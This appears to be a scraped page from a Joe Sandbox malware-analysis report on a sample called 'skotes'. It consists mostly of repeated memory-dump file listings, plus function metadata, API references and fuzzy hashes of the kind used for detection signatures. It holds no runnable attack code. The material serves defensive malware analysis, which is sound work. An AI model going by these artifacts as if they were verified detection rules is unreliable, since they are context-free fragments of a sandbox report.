Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: 530d13184e8b2eaba3c38d346dd1449637f3b5158ed39af330e7d110c2756f05
Instruction ID: 9cf0d01ed74f92c93397b67d9d4f1b08806e62f4322a9461969b7a3f0a99c36d
Opcode Fuzzy Hash: 530d13184e8b2eaba3c38d346dd1449637f3b5158ed39af330e7d110c2756f05
Instruction Fuzzy Hash: 9C01F961ACBB11ADF6307BB6AE11EAB119C8FC6B4DF061510BD45E31C0DEA0DC815671

Function 00934C14 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00934C98
__alloca_probe_16.LIBCMT ref: 00934D5E
__freea.LIBCMT ref: 00934DCA

Part of subcall function 0092B04B: RtlAllocateHeap.NTDLL(00000000,00906CB7,?,?,0090D3FC,00906CB7,?,00907A8B,8B18EC84,04A409A8), ref: 0092B07D

__freea.LIBCMT ref: 00934DD3
__freea.LIBCMT ref: 00934DF6

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: e6b314fceb296b8f27c9ff1f996a7829094a07ca609d0eda2bd9f18a49327653
Instruction ID: de8e6a11dfc11da10f26ce9eb5e14494f9af92f13f5502f911f13335b05b6d29
Opcode Fuzzy Hash: e6b314fceb296b8f27c9ff1f996a7829094a07ca609d0eda2bd9f18a49327653
Instruction Fuzzy Hash: E551D372600216AFDB215F64DC41FBB37ADDF85750F164529FD2497185EB34FC108AA0

Function 0091E8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 0091E91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0091E926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0091E950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0091E959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0091E9DC

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: 8ea843b698227b0f0050f94f59a57dd537b7573e0068ab03a052ce8d53236145
Instruction ID: c080137ec9f6bf240d07a602a40ef810171ed78db7954c0e94625a9b3cfc52bc
Opcode Fuzzy Hash: 8ea843b698227b0f0050f94f59a57dd537b7573e0068ab03a052ce8d53236145
Instruction Fuzzy Hash: 11414D75B00619EFDF09DF64C564AADBBB6FF88310F048159E916AB390CB74AE41CB81

Function 0091D2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 0091D344
ListArray.LIBCONCRT ref: 0091D367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0091D370
ListArray.LIBCONCRT ref: 0091D3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0091D3B3

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: e2d7d964e7dc14f8d92f2a561d122ef48aba7607100e2d53e457d7d147171e18
Instruction ID: 250e2022f3408ed330bc741732b03223513aa1b78ce171e2c2279d6775ee070a
Opcode Fuzzy Hash: e2d7d964e7dc14f8d92f2a561d122ef48aba7607100e2d53e457d7d147171e18
Instruction Fuzzy Hash: 1731CF35701218AFDB04DF54C884BEDB7AAAF89304F040199E8169B392CB74ED81CB92

Function 009186C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 009186EE

Part of subcall function 0090EAD0: _SpinWait.LIBCONCRT ref: 0090EAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00918702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00918734
List.LIBCMT ref: 009187B7
List.LIBCMT ref: 009187C6

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
